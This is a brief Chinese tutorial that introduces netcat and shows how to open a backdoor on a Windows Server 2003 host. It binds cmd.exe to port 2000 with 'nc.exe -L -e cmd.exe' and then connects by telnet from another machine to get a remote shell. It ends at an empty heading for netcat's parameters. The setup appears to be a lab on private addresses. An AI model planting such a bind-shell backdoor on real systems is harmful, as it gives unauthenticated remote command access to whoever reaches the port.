使用NC(NetCat)开放后门端口

NC介绍

NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection)。它被设计成一个可靠的后端(back-end) 工具,能被其它的程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。NetCat,它的实际可运行的名字叫nc,在网络工具中有“瑞士军刀”的美誉。

使用NC开放后门

登录主机,window server 2003,进入NC目录,cmd下执行如下命令:

1
nc.exe -v -L -e cmd.exe -p 2000 -s 192.168.1.139


2000为端口号,192.168.1.139位本机(window server 2003)的ip地址,执行之后,程序会开始监听2000端口。
接着在Windows 10主机上使用telnet连接2000端口,直接连上的就是window server 2003的cmd窗口,使用的命令如下:

1
telnet 192.168.1.139 2000


windows server 2003中会显示建立连接:

NC各参数介绍